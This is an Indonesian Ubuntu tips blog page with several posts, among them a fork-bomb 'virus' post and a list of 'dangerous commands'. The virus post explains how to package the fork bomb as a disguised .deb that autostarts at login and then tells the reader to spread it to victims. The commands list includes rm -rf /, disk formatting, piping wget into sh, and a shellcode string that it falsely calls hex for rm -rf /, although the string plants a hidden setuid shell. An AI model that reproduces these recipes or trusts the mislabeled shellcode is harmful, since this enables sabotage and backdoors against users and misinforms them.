Lubuntu Software Center [LSC] adalah Software Center dari salah satu distro turunan Ubuntu, yaitu Lubuntu. Lubuntu Software Center mempunyai kelebihan seperti: Ringan ,mempunyai antarmuka yang mudah, dan pengguna bisa mendownload lebih dari 1 software dalam satu waktu. Lubuntu Software Center ini tidak menghabiskan resource yang besar, dan Lubuntu Software Center mempunyai fasilitas Apps Basket yang fungsinya sama seperti keranjang, berguna untuk mendownload lebih dari satu software. Berikut penggunaan Lubuntu Software Center:
Tuesday, 11 September 2012
Thunar, File Manager Ringan untuk Ubuntu
Posted on 07:57 by Unknown
Siapa yang tidak tahu Nautilus? Nautilus adalah File Manager default bawaan Ubuntu. Namun bagi penulis Nautilus masih terlalu berat untuk diakses. Ada alternatif jika anda ingin menambahkan File Manager untuk Ubuntu, salah satunya Thunar. Thunar adalah File Manager bawaan Xubuntu yang menggunakan XFCE sebagai Desktop Environmentnya. Thunar sangat responsif dan tidak terlalu memakan memory. Jika ingin menginstall Thunar File Manager cukup ketikkan:
sudo apt-get install thunar
Ini hasil used resource antara Thunar dan Nautilus:
Monday, 10 September 2012
Ganti Background Utama Lightdm Ubuntu 12.04
Posted on 11:05 by Unknown
Ngomong-ngomong soal Ubuntu 12.04, saya penasaran dengan background Lightdmnya. Pertamanya sih dia otomatis mengganti bakgroundnya kalau kita sudah ganti wallpaper di desktop. Tapi saya iseng ingin mengubah gambar aslinya yang seperti ini
Pasang Unity 2D di Gnome Classic [Ubuntu 12.04]
Posted on 11:00 by Unknown
Anda suka Unity tapi tidak suka dengan Panel yang itu -itu saja. Coba anda gabungkan Gnome Classic dengan Unity 2D. Dan hasilnya seperti ini .
Edit BURG List di Ubuntu.
Posted on 10:58 by Unknown
Dalam keadaan default, Burg otomatis mendeteksi “recovery mode” dan “kernel list” di list nya sehingga kurang sedap dimata. Jika ingin mengurangi list tersebut seprti gambar diatas. Ikuti saja langkah mudahnya di bawah ini:
Langkah-langkah Install Kernel Ubuntu via PPA
Posted on 10:53 by Unknown
Penulis membuat artikel ini untuk mempermudah penginstallan kernel Ubuntu yang stable. Beberapa masalah yang kadang ditimbulkan oleh kernel yang lama bisa diatasi dengan menggunakan kernel versi terbaru. Keuntungan lainnya dari menginstall kernel terbaru ini adalah biasanya mempercepat waktu booting dan hal-hal yang mana kernel lama tidak bisacompatible dengan hardware yang dipakai, bisa dideteksi dengan kernel baru, misal Driver VGA atau Wifi.
Berikut beberapa langkah yang harus anda lakukan adalah sebagai berikut
Membuat Virus di Ubuntu
Posted on 10:50 by Unknown
Haloowww, setelah baca – baca artikel mengenai forkbomb command di linux, sebuah kesimpulan bahwa: ADA VIRUS YANG BISA MENULARI LINUX!
Dan yang lucunya virus tersebut hanya menggunakan 13 character (termasuk spasi) dalam source code nya.Sebenarnya ini adalah trik untuk meng-overloaded secara rekursif di mesin Linux, jadi biasanya Linux yang terserang “flu” ini akan hang, freeze, beku atau apalah yang menyebabkan Linux menjadi tidak bisa bergerak sama sekali.Pada awalnya ini bukan virus tetapi kalau boleh dibilang itu hanya “seutas” command tapi sangat beresiko membuat hang komputer Linux.Ini baris perintah nya berjumlah 13 karakter termasuk spasi.:
“:(){ : | : & };:” Tanpa tanda petik
Explaining:
[ :() ] = /*The name of the function is : */
[ { ] = /* Start of function block */
[ : | : & ] = /* Call ‘:’ function and pipe it to another ‘:’ function. Also put the process to background using the ‘&’ */
[ }; ] = /* End of function block */
[ : ] = /* Execute the ‘:’ function */
1.) Pertanyaannya:
Lah apanya yang virus? Itu kan sama aja seperti bunuh diri. Lagian perintah tersebut tidak otomatis kan menginfeksi kecuali kalau kita yang memerintahkannya?
Jawaban:
Eit siapa bilang? Bagaimana jika ikuti langkah seperti ini:
1.) Buatlah script bash seperti dibawah ini dan beri nama myapp. Lalu ubah permissionnya menjad “Read and Write” &i “Allow to execute”
#!/bin/bash
:(){ : | : &};:
Taraaaa! dah jadi khan?
2.) Pertanyaan:
File tersebut kan bisa saja mencurigakan? Bagaimana meyakinkan pengguna kalau itu program aman? Lagian itu kan hanya mentahnya saja?
Jawaban:
Coba kita memutar otak sedikit. Ikuti cara ini.
(Khusus pengguna Ubuntu)
1.) Siapkan virusnya,
2.) Buat launcher menggunakan gedit seperti di bawah ini:
[Desktop Entry]
Version=1.0
Type=Application
Terminal=false
Exec=/usr/bin/myapp
Name=myapp
dan save dengan nama myapp.desktop
3.) Lalu buat paket seperti contoh link ini http://berkarya.16mb.com/2012/07/cara-simple-memaketkan-programaplikasi-dalam-bentuk-deb-di-ubuntu
4.) Pelajari baik2 mengenai file system Linux Ubuntu, kalo ingin virus tersebut jalan secara otomatis setelah reboot, asumsi direktori saat membuat paket debian adalah buat folder etc, didalam etc buat xdg, didalam xdg buat autostart, lalu copy paste myapp.desktop tadi ke dalam folder autostart ini. Agar nantinya ketika paket .deb terinstall maka myapp.desktop bisa terpasang sebagai autostart (kalau di windows namanya autorun)
5.)Ingat semua bahan tadi rubah permissionnya menjadi “Read and write”
6.) Sebarkan ke calon korban.
3.) Pertanyaan
Lalu bagaimana cara mengatasinya?
Jawaban:
Cara mengatasinya sebenarnya gampang kalau pengguna menguasai terminal.Masalahnya ada 2 tipe pengguna komputer di dunia ini.
1.) User
2.) Maintainer
Kalau maintainer, paling gampang adalah masuk melalui console. Jadi saat login tekan ctrl+alt+f1.Login lalu hapus installannya sudo apt-get remove nama_paket,
Kalau user, silahkan tanya maintainer seperti di atas.
Jadi kesimpulannya adalah Linux memang aman jikalau mendownload aplikasi resmi dari software center ataupun dari ppa. Tetapi kalau anda mendownload dari luar situ. Siap2 ancaman virus ini akan mengontaminasi komputer Linux anda.
Bahkan di Android pun sudah terkenal dengan banyaknya malware.
Saya bukannya sembrono menginformasikan hal ini tapi saya akan buktikan dengan screenshoot di bawah ini. Sembari membuat catatan ini selama itulah Ubuntu saya tetap dalam posisi seperti ini ^_^
Mohon maaf kalau menyebarkan keburukan, tapi dari keburukanlah kita bisa belajar bagaimana menjadi baik. :)
Membuat Ubuntu lebih Aman
Posted on 10:31 by Unknown
Saya jelaskan kenapa ini sangat penting, karena hal yang sering dikeluhkan teman – teman saya saat oprek desktop atau install driver vga lalu tidak bisa masuk login, sangat “menggugah hati” untuk menemukan jawabannya. Dimulai dari merusak sistem sendiri, lalu saya sampai putus asa menemukan solusinya, sampai akhirnya saya menemukan teknik jitu yaitu membuat user baru.
Intinya sebelum berbuat kita harus melakukan pencegahan sedini mungkin untuk menghindari hal-hal yang tidak-tidak, MESKIPUN tidak sepenuhnya safety. Langkah-langkahnya bisa diikuti dibawah ini.
1.) Membuat User Root.
Cara ini untuk mendapatkan hak administrator jikalau salah satu user mengalami crash atau error.
ketik di terminal:
sudo passwd root
sudo passwd root
Perintah diatas adalah untuk membuat password user root.
lalu ketik:
sudo sh -c ‘echo “greeter-show-manual-login=true” >> /etc/lightdm/lightdm.conf
lalu ketik:
sudo sh -c ‘echo “greeter-show-manual-login=true” >> /etc/lightdm/lightdm.conf
Perintah diatas untuk menampilkan manual login di lightdm.
Sesudah itu coba logout systemnya, dan cek apakah user root aktif.
Sesudah itu coba logout systemnya, dan cek apakah user root aktif.
Seperti gambar diatas masukkan username lalu password jika sudah aktif silahkan logout dan login kembali. Cara ini saya dapatkan dari website ini http://www.liberiangeek.net/2012/05/login-as-root-in-ubuntu-12-04-precise-pangolin/
2.) Membuat 2 Buah User Account.
Buat account baru dengan level Administrator dan rubah account utama anda menjadi Standard. Caranya:
Pilih System Settings > User Accounts
Klik Unlock, lalu buat account sesuai contoh diatas. Kalo gak bisa bikin, comment aja dibawah. Saya capek ngetik nih :D
3.) Selalu gunakan User Account Standard
Ketika kita melakukan pengkonfigurasian desktop dengan hak akses root, imbasnya mesti ke User Account yang sedang kita pakai. Karena itu saya membuat 2 lapis user dengan Administrator sebagai User Account penting sebagai troubleshooter. Pengalaman ketika User Account saya tidak bisa login, dan akhirnya saya membuat User Account baru hingga bisa masuk ke Systemnya, akhirnya saya buat langkah pencegahan ini.
Ketika kita melakukan pengkonfigurasian desktop dengan hak akses root, imbasnya mesti ke User Account yang sedang kita pakai. Karena itu saya membuat 2 lapis user dengan Administrator sebagai User Account penting sebagai troubleshooter. Pengalaman ketika User Account saya tidak bisa login, dan akhirnya saya membuat User Account baru hingga bisa masuk ke Systemnya, akhirnya saya buat langkah pencegahan ini.
Jika kita mengalami masalah di desktop kita, anda bisa menghapus User Account Standard kita dengan login ke User Account Administrator. Ikuti langkah di nomor 2, klik tombol “-” untuk meremove User Account Standard dan buat akun standard lain. Dan apabila anda tidak berkenan menghapus file2 di dalam User Account Standard lama anda, bisa pilih opsi “keep files” dan lihat di direktori /home, apakah ada atau anda file User Account Standard lama anda. :)
Karena menggunakan Standard Users, jadi hak akses juga banya dibatasi termasuk sudo. :) Oleh karena itu, untuk hak akses root, jangan menggunakan Sudo melainkan “su”
ketik diterminal:
su
su
lalu masukkan password User Account Root. Bukan password standard.
Beberapa Command Linux yang berbahaya untuk Linux
Posted on 10:21 by Unknown
1. Perintah pertama:
rm -rf /
Perintah ini akan menghapus semua file dan folder yang sedang di-mount ke sistem. Semua data di komputer akan hilang dengan menjalankan perintah ini.
2. Perintah kedua:
rm -rf /
Perintah ini akan menghapus semua file dan folder yang sedang di-mount ke sistem. Semua data di komputer akan hilang dengan menjalankan perintah ini.
2. Perintah kedua:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
Perintah ini adalah bentuk hexadecimal dari perintah “rm -rf /” dan akan membawa akibat yang sama.
3. Perintah ketiga:
mkfs.ext3 /dev/sda
Perintah ini akan memformat hard-disk /dev/sda.
4. Perintah keempat:
:(){:|:&};:
:(){:|:&};:
Perintah ini akan membuat sistem menjalankan banyak sekali proses dan membuat komputer menjadi hang.
5. Perintah kelima:
perintah_apapun > /dev/sda
Perintah ini akan menuliskan data mentah (baca: raw data) yang menyebabkan seluruh partisi dan file pada /dev/sda akan ditimpa dengan data mentah tadi.
6. Perintah keenam:
wget http://sumber_tak_terpercaya -O- | sh
Jangan pernah men-download file dari sumber yang tidak terpercaya, dan kemudian menjalankannya di komputer.
7. Perintah ketujuh:
mv /home/direktorihome/* /dev/null
Perintah ini akan memindahkan home directory ke suatu tempat yang sebenarnya tidak ada, atau dengan kata lain, perintah ini akan menghilangkan semua data di folder “Home”.
Perintah ini akan memindahkan home directory ke suatu tempat yang sebenarnya tidak ada, atau dengan kata lain, perintah ini akan menghilangkan semua data di folder “Home”.
======================================================================================
Mungkin bagi pengembang virus, bisa mengimplementasikannya, dan semoga membuat developer2 lain cepat tanggap untuk mendapatkan solusi. :)
Sekelumit mengenai Sistem Operasi
Posted on 08:31 by Unknown
Hari ini saya akan share tentang apa itu Sistem Operasi. Sistem Operasi ini saya sederhanakan saja bahasanya agar lebih dimengerti orang awam.
Sistem Operasi itu sebuah alat perantara antara Pemakai (USER) dengan Komputer. Sistem Operasi ini tersusun atas berjuta2 program yang ditulis dan bekerja secara berkesinambungan.
Sistem Operasi sendiri sebenarnya sebuah perangkat lunak yang bekerja sesuai dengan perintah pemakai (user), tapi dalam hal ini mencakup lingkup pengantar.
Saya bisa menganalogikan seperti Sepak Bola. Kita ibaratkan Pelatih sebagai User yang akan mengatur permainan. Lapangan sebagai Sistem Operasi nya. Dan Pemain adalah Software2 didalamnya.
Pelatih akan menjalankan Pemainnya bila ada Lapangan yang memadai. Terserah mau menggunakan Lapangan yang free/gratis atau berbayar…. Bila tak ada lapangan, bisakah kita bermain sepak bola…????
Kesimpulan pendek yang bisa saya tarik dari penjelasan diatas, Sistem Operasi adalah sebuah perangkat lunak yang mana bertujuan untuk menjalankan perangkat2 lunak pendukung agar berjalan sesuai keinginan User…Untuk lebih spesifiknya Wikipedia sudah menjelaskannya dan bisa anda akses situsnya di:
Subscribe to:
Posts (Atom)
Tentang Penulis
Penulis biasanya menghabiskan waktu untuk bermain dan bermain. Dan pada akhirnya penulis terpaksa bermain dengan belajar.